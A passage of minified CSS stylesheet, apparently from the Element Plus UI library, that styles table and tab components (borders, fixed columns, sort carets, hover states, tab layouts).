th.el-table__cell.required>div:before{background:#ff4d51;border-radius:50%;content:"";display:inline-block;height:8px;margin-right:5px;vertical-align:middle;width:8px}.el-table td.el-table__cell div{box-sizing:border-box}.el-table td.el-table__cell.gutter{width:0}.el-table--border .el-table__inner-wrapper:after,.el-table--border:after,.el-table--border:before,.el-table__inner-wrapper:before{background-color:var(--el-table-border-color);content:"";position:absolute;z-index:calc(var(--el-table-index) + 2)}.el-table--border .el-table__inner-wrapper:after{height:1px;left:0;top:0;width:100%;z-index:calc(var(--el-table-index) + 2)}.el-table--border:before{height:100%;left:0;top:-1px;width:1px}.el-table--border:after{height:100%;right:0;top:-1px;width:1px}.el-table--border .el-table__inner-wrapper{border-bottom:none;border-right:none}.el-table--border .el-table__footer-wrapper{flex-shrink:0;position:relative}.el-table--border .el-table__cell{border-right:var(--el-table-border)}.el-table--border th.el-table__cell.gutter:last-of-type{border-bottom:var(--el-table-border);border-bottom-width:1px}.el-table--border th.el-table__cell{border-bottom:var(--el-table-border)}.el-table--hidden{visibility:hidden}.el-table__body-wrapper,.el-table__footer-wrapper,.el-table__header-wrapper{width:100%}.el-table__body-wrapper tr td.el-table-fixed-column--left,.el-table__body-wrapper tr td.el-table-fixed-column--right,.el-table__body-wrapper tr th.el-table-fixed-column--left,.el-table__body-wrapper tr th.el-table-fixed-column--right,.el-table__footer-wrapper tr td.el-table-fixed-column--left,.el-table__footer-wrapper tr td.el-table-fixed-column--right,.el-table__footer-wrapper tr th.el-table-fixed-column--left,.el-table__footer-wrapper tr th.el-table-fixed-column--right,.el-table__header-wrapper tr td.el-table-fixed-column--left,.el-table__header-wrapper tr td.el-table-fixed-column--right,.el-table__header-wrapper tr th.el-table-fixed-column--left,.el-table__header-wrapper tr th.el-table-fixed-column--right{background:inherit;position:-webkit-sticky!important;position:sticky!important;z-index:calc(var(--el-table-index) + 1)}.el-table__body-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__body-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__body-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__body-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--right.is-first-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--right.is-last-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--right.is-first-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--right.is-last-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--right.is-first-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--right.is-last-column:before{bottom:-1px;box-shadow:none;content:"";overflow-x:hidden;overflow-y:hidden;pointer-events:none;position:absolute;top:0;touch-action:none;width:10px}.el-table__body-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__body-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--right.is-first-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--right.is-first-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--left.is-first-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--right.is-first-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--left.is-first-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--right.is-first-column:before{left:-10px}.el-table__body-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__body-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__body-wrapper tr th.el-table-fixed-column--right.is-last-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__footer-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__footer-wrapper tr th.el-table-fixed-column--right.is-last-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--left.is-last-column:before,.el-table__header-wrapper tr td.el-table-fixed-column--right.is-last-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--left.is-last-column:before,.el-table__header-wrapper tr th.el-table-fixed-column--right.is-last-column:before{box-shadow:none;right:-10px}.el-table__body-wrapper tr td.el-table__fixed-right-patch,.el-table__body-wrapper tr th.el-table__fixed-right-patch,.el-table__footer-wrapper tr td.el-table__fixed-right-patch,.el-table__footer-wrapper tr th.el-table__fixed-right-patch,.el-table__header-wrapper tr td.el-table__fixed-right-patch,.el-table__header-wrapper tr th.el-table__fixed-right-patch{background:#fff;position:-webkit-sticky!important;position:sticky!important;right:0;z-index:calc(var(--el-table-index) + 1)}.el-table__header-wrapper{flex-shrink:0}.el-table__header-wrapper tr th.el-table-fixed-column--left,.el-table__header-wrapper tr th.el-table-fixed-column--right{background-color:var(--el-table-header-bg-color)}.el-table__body,.el-table__footer,.el-table__header{border-collapse:separate;table-layout:fixed}.el-table__header-wrapper{overflow:hidden}.el-table__header-wrapper tbody td.el-table__cell{background-color:var(--el-table-row-hover-bg-color);color:var(--el-table-text-color)}.el-table__footer-wrapper{flex-shrink:0;overflow:hidden}.el-table__footer-wrapper tfoot td.el-table__cell{background-color:var(--el-table-row-hover-bg-color);color:var(--el-table-text-color)}.el-table__body-wrapper .el-table-column--selection>.cell,.el-table__header-wrapper .el-table-column--selection>.cell{align-items:center;display:inline-flex;height:23px}.el-table__body-wrapper .el-table-column--selection .el-checkbox,.el-table__header-wrapper .el-table-column--selection .el-checkbox{height:unset}.el-table.is-scrolling-left .el-table-fixed-column--right.is-first-column:before{box-shadow:var(--el-table-fixed-right-column)}.el-table.is-scrolling-left.el-table--border .el-table-fixed-column--left.is-last-column.el-table__cell{border-right:var(--el-table-border)}.el-table.is-scrolling-left th.el-table-fixed-column--left{background-color:var(--el-table-header-bg-color)}.el-table.is-scrolling-right .el-table-fixed-column--left.is-last-column:before{box-shadow:var(--el-table-fixed-left-column)}.el-table.is-scrolling-right .el-table-fixed-column--left.is-last-column.el-table__cell{border-right:none}.el-table.is-scrolling-right th.el-table-fixed-column--right{background-color:var(--el-table-header-bg-color)}.el-table.is-scrolling-middle .el-table-fixed-column--left.is-last-column.el-table__cell{border-right:none}.el-table.is-scrolling-middle .el-table-fixed-column--right.is-first-column:before{box-shadow:var(--el-table-fixed-right-column)}.el-table.is-scrolling-middle .el-table-fixed-column--left.is-last-column:before{box-shadow:var(--el-table-fixed-left-column)}.el-table.is-scrolling-none .el-table-fixed-column--left.is-first-column:before,.el-table.is-scrolling-none .el-table-fixed-column--left.is-last-column:before,.el-table.is-scrolling-none .el-table-fixed-column--right.is-first-column:before,.el-table.is-scrolling-none .el-table-fixed-column--right.is-last-column:before{box-shadow:none}.el-table.is-scrolling-none th.el-table-fixed-column--left,.el-table.is-scrolling-none th.el-table-fixed-column--right{background-color:var(--el-table-header-bg-color)}.el-table__body-wrapper{flex:1;overflow:hidden;position:relative}.el-table__body-wrapper .el-scrollbar__bar{z-index:calc(var(--el-table-index) + 2)}.el-table .caret-wrapper{align-items:center;cursor:pointer;display:inline-flex;flex-direction:column;height:14px;overflow:initial;position:relative;vertical-align:middle;width:24px}.el-table .sort-caret{border:5px solid transparent;height:0;left:7px;position:absolute;width:0}.el-table .sort-caret.ascending{border-bottom-color:var(--el-text-color-placeholder);top:-5px}.el-table .sort-caret.descending{border-top-color:var(--el-text-color-placeholder);bottom:-3px}.el-table .ascending .sort-caret.ascending{border-bottom-color:var(--el-color-primary)}.el-table .descending .sort-caret.descending{border-top-color:var(--el-color-primary)}.el-table .hidden-columns{position:absolute;visibility:hidden;z-index:-1}.el-table--striped .el-table__body tr.el-table__row--striped td.el-table__cell{background:var(--el-fill-color-lighter)}.el-table--striped .el-table__body tr.el-table__row--striped.current-row td.el-table__cell{background-color:var(--el-table-current-row-bg-color)}.el-table__body tr.hover-row.current-row>td.el-table__cell,.el-table__body tr.hover-row.el-table__row--striped.current-row>td.el-table__cell,.el-table__body tr.hover-row.el-table__row--striped>td.el-table__cell,.el-table__body tr.hover-row>td.el-table__cell{background-color:var(--el-table-row-hover-bg-color)}.el-table__body tr>td.hover-cell{background-color:var(--el-table-row-hover-bg-color)}.el-table__body tr.current-row>td.el-table__cell{background-color:var(--el-table-current-row-bg-color)}.el-table.el-table--scrollable-y .el-table__body-header{position:-webkit-sticky;position:sticky;top:0;z-index:calc(var(--el-table-index) + 2)}.el-table.el-table--scrollable-y .el-table__body-footer{bottom:0;position:-webkit-sticky;position:sticky;z-index:calc(var(--el-table-index) + 2)}.el-table__column-resize-proxy{border-left:var(--el-table-border);bottom:0;left:200px;position:absolute;top:0;width:0;z-index:calc(var(--el-table-index) + 9)}.el-table__column-filter-trigger{cursor:pointer;display:inline-block}.el-table__column-filter-trigger i{color:var(--el-color-info);font-size:14px;vertical-align:middle}.el-table__border-left-patch{height:100%;top:0;width:1px}.el-table__border-bottom-patch,.el-table__border-left-patch{background-color:var(--el-table-border-color);left:0;position:absolute;z-index:calc(var(--el-table-index) + 2)}.el-table__border-bottom-patch{height:1px}.el-table__border-right-patch{background-color:var(--el-table-border-color);height:100%;position:absolute;top:0;width:1px;z-index:calc(var(--el-table-index) + 2)}.el-table--enable-row-transition .el-table__body td.el-table__cell{transition:background-color .25s ease}.el-table--enable-row-hover .el-table__body tr:hover>td.el-table__cell{background-color:var(--el-table-row-hover-bg-color)}.el-table [class*=el-table__row--level] .el-table__expand-icon{display:inline-block;height:12px;line-height:12px;margin-right:8px;text-align:center;width:12px}.el-table .el-table.el-table--border .el-table__cell{border-right:var(--el-table-border)}.el-table:not(.el-table--border) .el-table__cell{border-right:none}.el-table:not(.el-table--border)>.el-table__inner-wrapper:after{content:none}.el-table-v2{--el-table-border-color:var(--el-border-color-lighter);--el-table-border:1px solid var(--el-table-border-color);--el-table-text-color:var(--el-text-color-regular);--el-table-header-text-color:var(--el-text-color-secondary);--el-table-row-hover-bg-color:var(--el-fill-color-light);--el-table-current-row-bg-color:var(--el-color-primary-light-9);--el-table-header-bg-color:var(--el-bg-color);--el-table-fixed-box-shadow:var(--el-box-shadow-light);--el-table-bg-color:var(--el-fill-color-blank);--el-table-tr-bg-color:var(--el-bg-color);--el-table-expanded-cell-bg-color:var(--el-fill-color-blank);--el-table-fixed-left-column:inset 10px 0 10px -10px rgba(0,0,0,.15);--el-table-fixed-right-column:inset -10px 0 10px -10px rgba(0,0,0,.15);--el-table-index:var(--el-index-normal);font-size:14px}.el-table-v2 *{box-sizing:border-box}.el-table-v2__root{position:relative}.el-table-v2__root:hover .el-table-v2__main .el-virtual-scrollbar{opacity:1}.el-table-v2__main{background-color:var(--el-bg-color);display:flex;flex-direction:column-reverse;left:0;overflow:hidden;position:absolute;top:0}.el-table-v2__main .el-vl__horizontal,.el-table-v2__main .el-vl__vertical{z-index:2}.el-table-v2__left{background-color:var(--el-bg-color);box-shadow:2px 0 4px #0000000f;display:flex;flex-direction:column-reverse;left:0;overflow:hidden;position:absolute;top:0}.el-table-v2__left .el-virtual-scrollbar{opacity:0}.el-table-v2__left .el-vl__horizontal,.el-table-v2__left .el-vl__vertical{z-index:-1}.el-table-v2__right{background-color:var(--el-bg-color);box-shadow:-2px 0 4px #0000000f;display:flex;flex-direction:column-reverse;overflow:hidden;position:absolute;right:0;top:0}.el-table-v2__right .el-virtual-scrollbar{opacity:0}.el-table-v2__right .el-vl__horizontal,.el-table-v2__right .el-vl__vertical{z-index:-1}.el-table-v2__header-row,.el-table-v2__row{-webkit-padding-end:var(--el-table-scrollbar-size);padding-inline-end:var(--el-table-scrollbar-size)}.el-table-v2__header-wrapper{overflow:hidden}.el-table-v2__header{overflow:hidden;position:relative}.el-table-v2__footer{bottom:0;overflow:hidden;right:0}.el-table-v2__empty,.el-table-v2__footer,.el-table-v2__overlay{left:0;position:absolute}.el-table-v2__overlay{bottom:0;right:0;top:0;z-index:9999}.el-table-v2__header-row{border-bottom:var(--el-table-border);display:flex}.el-table-v2__header-cell{align-items:center;background-color:var(--el-table-header-bg-color);color:var(--el-table-header-text-color);display:flex;font-weight:700;height:100%;overflow:hidden;padding:0 8px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-table-v2__header-cell.is-align-center{justify-content:center;text-align:center}.el-table-v2__header-cell.is-align-right{justify-content:flex-end;text-align:right}.el-table-v2__header-cell.is-sortable{cursor:pointer}.el-table-v2__header-cell:hover .el-icon{display:block}.el-table-v2__sort-icon{display:none;opacity:.6;transition:opacity,display var(--el-transition-duration)}.el-table-v2__sort-icon.is-sorting{display:block;opacity:1}.el-table-v2__row{align-items:center;border-bottom:var(--el-table-border);display:flex;transition:background-color var(--el-transition-duration)}.el-table-v2__row.is-hovered,.el-table-v2__row:hover{background-color:var(--el-table-row-hover-bg-color)}.el-table-v2__row-cell{align-items:center;display:flex;height:100%;overflow:hidden;padding:0 8px}.el-table-v2__row-cell.is-align-center{justify-content:center;text-align:center}.el-table-v2__row-cell.is-align-right{justify-content:flex-end;text-align:right}.el-table-v2__expand-icon{cursor:pointer;margin:0 4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.el-table-v2__expand-icon svg{transition:transform var(--el-transition-duration)}.el-table-v2__expand-icon.is-expanded svg{transform:rotate(90deg)}.el-table-v2:not(.is-dynamic) .el-table-v2__cell-text{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.el-table-v2.is-dynamic .el-table-v2__row{align-items:stretch;overflow:hidden}.el-table-v2.is-dynamic .el-table-v2__row .el-table-v2__row-cell{overflow-wrap:break-word}.el-tabs{--el-tabs-header-height:40px}.el-tabs__header{margin:0 0 15px;padding:0;position:relative}.el-tabs__active-bar{background-color:var(--el-color-primary);bottom:0;height:2px;left:0;list-style:none;position:absolute;transition:width var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier),transform var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier);z-index:1}.el-tabs__new-tab{align-items:center;border:1px solid var(--el-border-color);border-radius:3px;color:var(--el-text-color-primary);cursor:pointer;display:flex;float:right;font-size:12px;height:20px;justify-content:center;line-height:20px;margin:10px 0 10px 10px;text-align:center;transition:all .15s;width:20px}.el-tabs__new-tab .is-icon-plus{height:inherit;transform:scale(.8);width:inherit}.el-tabs__new-tab .is-icon-plus svg{vertical-align:middle}.el-tabs__new-tab:hover{color:var(--el-color-primary)}.el-tabs__nav-wrap{margin-bottom:-1px;overflow:hidden;position:relative}.el-tabs__nav-wrap:after{background-color:var(--el-border-color-light);bottom:0;content:"";height:2px;left:0;position:absolute;width:100%;z-index:var(--el-index-normal)}.el-tabs__nav-wrap.is-scrollable{box-sizing:border-box;padding:0 20px}.el-tabs__nav-scroll{overflow:hidden}.el-tabs__nav-next,.el-tabs__nav-prev{color:var(--el-text-color-secondary);cursor:pointer;font-size:12px;line-height:44px;position:absolute;text-align:center;width:20px}.el-tabs__nav-next{right:0}.el-tabs__nav-prev{left:0}.el-tabs__nav{display:flex;float:left;position:relative;transition:transform var(--el-transition-duration);white-space:nowrap;z-index:calc(var(--el-index-normal) + 1)}.el-tabs__nav.is-stretch{display:flex;min-width:100%}.el-tabs__nav.is-stretch>*{flex:1;text-align:center}.el-tabs__item{align-items:center;box-sizing:border-box;color:var(--el-text-color-primary);display:flex;font-size:var(--el-font-size-base);font-weight:500;height:var(--el-tabs-header-height);justify-content:center;list-style:none;padding:0 20px;position:relative}.el-tabs__item:focus,.el-tabs__item:focus:active{outline:none}.el-tabs__item:focus-visible{border-radius:3px;box-shadow:0 0 2px 2px var(--el-color-primary) inset}.el-tabs__item .is-icon-close{border-radius:50%;margin-left:5px;text-align:center;transition:all var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier)}.el-tabs__item .is-icon-close:before{display:inline-block;transform:scale(.9)}.el-tabs__item .is-icon-close:hover{background-color:var(--el-text-color-placeholder);color:#fff}.el-tabs__item.is-active{color:var(--el-color-primary)}.el-tabs__item:hover{color:var(--el-color-primary);cursor:pointer}.el-tabs__item.is-disabled{color:var(--el-disabled-text-color);cursor:not-allowed}.el-tabs__content{overflow:hidden;position:relative}.el-tabs--card>.el-tabs__header{border-bottom:1px solid var(--el-border-color-light);height:var(--el-tabs-header-height)}.el-tabs--card>.el-tabs__header .el-tabs__nav-wrap:after{content:none}.el-tabs--card>.el-tabs__header .el-tabs__nav{border:1px solid var(--el-border-color-light);border-bottom:none;border-radius:4px 4px 0 0;box-sizing:border-box}.el-tabs--card>.el-tabs__header .el-tabs__active-bar{display:none}.el-tabs--card>.el-tabs__header .el-tabs__item .is-icon-close{font-size:12px;height:14px;overflow:hidden;position:relative;right:-2px;transform-origin:100% 50%;width:0}.el-tabs--card>.el-tabs__header .el-tabs__item{border-bottom:1px solid transparent;border-left:1px solid var(--el-border-color-light);transition:color var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier),padding var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier)}.el-tabs--card>.el-tabs__header .el-tabs__item:first-child{border-left:none}.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover{padding-left:13px;padding-right:13px}.el-tabs--card>.el-tabs__header .el-tabs__item.is-closable:hover .is-icon-close{width:14px}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active{border-bottom-color:var(--el-bg-color)}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable{padding-left:20px;padding-right:20px}.el-tabs--card>.el-tabs__header .el-tabs__item.is-active.is-closable .is-icon-close{width:14px}.el-tabs--border-card{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color)}.el-tabs--border-card>.el-tabs__content{padding:15px}.el-tabs--border-card>.el-tabs__header{background-color:var(--el-fill-color-light);border-bottom:1px solid var(--el-border-color-light);margin:0}.el-tabs--border-card>.el-tabs__header .el-tabs__nav-wrap:after{content:none}.el-tabs--border-card>.el-tabs__header .el-tabs__item{border:1px solid transparent;color:var(--el-text-color-secondary);margin-top:-1px;transition:all var(--el-transition-duration) var(--el-transition-function-ease-in-out-bezier)}.el-tabs--border-card>.el-tabs__header .el-tabs__item:first-child{margin-left:-1px}.el-tabs--border-card>.el-tabs__header .el-tabs__item+.el-tabs__item{margin-left:-1px}.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-active{background-color:var(--el-bg-color-overlay);border-left-color:var(--el-border-color);border-right-color:var(--el-border-color);color:var(--el-color-primary)}.el-tabs--border-card>.el-tabs__header .el-tabs__item:not(.is-disabled):hover{color:var(--el-color-primary)}.el-tabs--border-card>.el-tabs__header .el-tabs__item.is-disabled{color:var(--el-disabled-text-color)}.el-tabs--border-card>.el-tabs__header .is-scrollable .el-tabs__item:first-child{margin-left:0}.el-tabs--bottom .el-tabs__item.is-bottom:nth-child(2),.el-tabs--bottom .el-tabs__item.is-top:nth-child(2),.el-tabs--top .el-tabs__item.is-bottom:nth-child(2),.el-tabs--top .el-tabs__item.is-top:nth-child(2){padding-left:0}.el-tabs--bottom .el-tabs__item.is-bottom:last-child,.el-tabs--bottom .el-tabs__item.is-top:last-child,.el-tabs--top .el-tabs__item.is-bottom:last-child,.el-tabs--top .el-tabs__item.is-top:last-child{padding-right:0}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2),.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2){padding-left:20px}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover,.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:nth-child(2):not(.is-active).is-closable:hover{padding-left:13px}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child,.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:last-child{padding-right:20px}.el-tabs--bottom .el-tabs--left>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--bottom .el-tabs--right>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--bottom.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--bottom.el-tabs--card>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--top .el-tabs--left>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--top .el-tabs--right>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--top.el-tabs--border-card>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover,.el-tabs--top.el-tabs--card>.el-tabs__header .el-tabs__item:last-child:not(.is-active).is-closable:hover{padding-right:13px}.el-tabs--bottom .el-tabs__header.is-bottom{margin-bottom:0;margin-top:10px}.el-tabs--bottom.el-tabs--border-card .el-tabs__header.is-bottom{border-bottom:0;border-top:1px solid var(--el-border-color)}.el-tabs--bottom.el-tabs--border-card .el-tabs__nav-wrap.is-bottom{margin-bottom:0;margin-top:-1px}.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom:not(.is-active){border:1px solid transparent}.el-tabs--bottom.el-tabs--border-card .el-tabs__item.is-bottom{margin:0 -1px -1px}.el-tabs--left,.el-tabs--right{overflow:hidden}.el-tabs--left .el-tabs__header.is-left,.el-tabs--left .el-tabs__header.is-right,.el-tabs--left .el-tabs__nav-scroll,.el-tabs--left .el-tabs__nav-wrap.is-left,.el-tabs--left .el-tabs__nav-wrap.is-right,.el-tabs--right .el-tabs__header.is-left,.el-tabs--right .el-tabs__header.is-right,.el-tabs--right .el-tabs__nav-scroll,.el-tabs--right .el-tabs__nav-wrap.is-left,.el-tabs--right .el-tabs__nav-wrap.is-right{height:100%}.el-tabs--left .el-tabs__active-bar.is-left,.el-tabs--left .el-tabs__active-bar.is-right,.el-tabs--right .el-tabs__active-bar.is-left,.el-tabs--right .el-tabs__active-bar.is-right{bottom:auto;height:auto;top:0;width:2px}.el-tabs--left .el-tabs__nav-wrap.is-left,.el-tabs--left .el-tabs__nav-wrap.is-right,.el-tabs--right .el-tabs__nav-wrap.is-left,.el-tabs--right .el-tabs__nav-wrap.is-right{margin-bottom:0}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev{cursor:pointer;height:30px;line-height:30px;text-align:center;width:100%}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i,.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next i,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev i,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next i,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev i{transform:rotate(90deg)}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-prev,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-prev{left:auto;top:0}.el-tabs--left .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--left .el-tabs__nav-wrap.is-right>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-left>.el-tabs__nav-next,.el-tabs--right .el-tabs__nav-wrap.is-right>.el-tabs__nav-next{bottom:0;right:auto}.el-tabs--left .el-tabs__nav-wrap.is-left.is-scrollable,.el-tabs--left .el-tabs__nav-wrap.is-right.is-scrollable,.el-tabs--right .el-tabs__nav-wrap.is-left.is-scrollable,.el-tabs--right .el-tabs__nav-wrap.is-right.is-scrollable{padding:30px 0}.el-tabs--left .el-tabs__nav-wrap.is-left:after,.el-tabs--left .el-tabs__nav-wrap.is-right:after,.el-tabs--right .el-tabs__nav-wrap.is-left:after,.el-tabs--right .el-tabs__nav-wrap.is-right:after{bottom:auto;height:100%;top:0;width:2px}.el-tabs--left .el-tabs__nav.is-left,.el-tabs--left .el-tabs__nav.is-right,.el-tabs--right .el-tabs__nav.is-left,.el-tabs--right .el-tabs__nav.is-right{flex-direction:column}.el-tabs--left .el-tabs__item.is-left,.el-tabs--right .el-tabs__item.is-left{justify-content:flex-end}.el-tabs--left .el-tabs__item.is-right,.el-tabs--right .el-tabs__item.is-right{justify-content:flex-start}.el-tabs--left .el-tabs__header.is-left{float:left;margin-bottom:0;margin-right:10px}.el-tabs--left .el-tabs__nav-wrap.is-left{margin-right:-1px}.el-tabs--left .el-tabs__nav-wrap.is-left:after{left:auto;right:0}.el-tabs--left .el-tabs__active-bar.is-left{left:auto;right:0}.el-tabs--left .el-tabs__item.is-left{text-align:right}.el-tabs--left.el-tabs--card .el-tabs__active-bar.is-left{display:none}.el-tabs--left.el-tabs--card .el-tabs__item.is-left{border-bottom:none;border-left:none;border-right:1px solid var(--el-border-color-light);border-top:1px solid var(--el-border-color-light);text-align:left}.el-tabs--left.el-tabs--card .el-tabs__item.is-left:first-child{border-right:1px solid var(--el-border-color-light);border-top:none}.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active{border:1px solid var(--el-border-color-light);border-bottom:none;border-left:none;border-right:1px solid #fff}.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active:first-child{border-top:none}.el-tabs--left.el-tabs--card .el-tabs__item.is-left.is-active:last-child{border-bottom:none}.el-tabs--left.el-tabs--card .el-tabs__nav{border-bottom:1px solid var(--el-border-color-light);border-radius:4px 0 0 4px;border-right:none}.el-tabs--left.el-tabs--card .el-tabs__new-tab{float:none}.el-tabs--left.el-tabs--border-card .el-tabs__header.is-left{border-right:1px solid var(--el-border-color)}.el-tabs--left.el-tabs--border-card .el-tabs__item.is-left{border:1px solid transparent;margin:-1px 0 -1px -1px}.el-tabs--left.el-tabs--border-card .el-tabs__item.is-left.is-active{border-color:rgb(209,219,229) transparent}.el-tabs--right .el-tabs__header.is-right{float:right;margin-bottom:0;margin-left:10px}.el-tabs--right .el-tabs__nav-wrap.is-right{margin-left:-1px}.el-tabs--right .el-tabs__nav-wrap.is-right:after{left:0;right:auto}.el-tabs--right 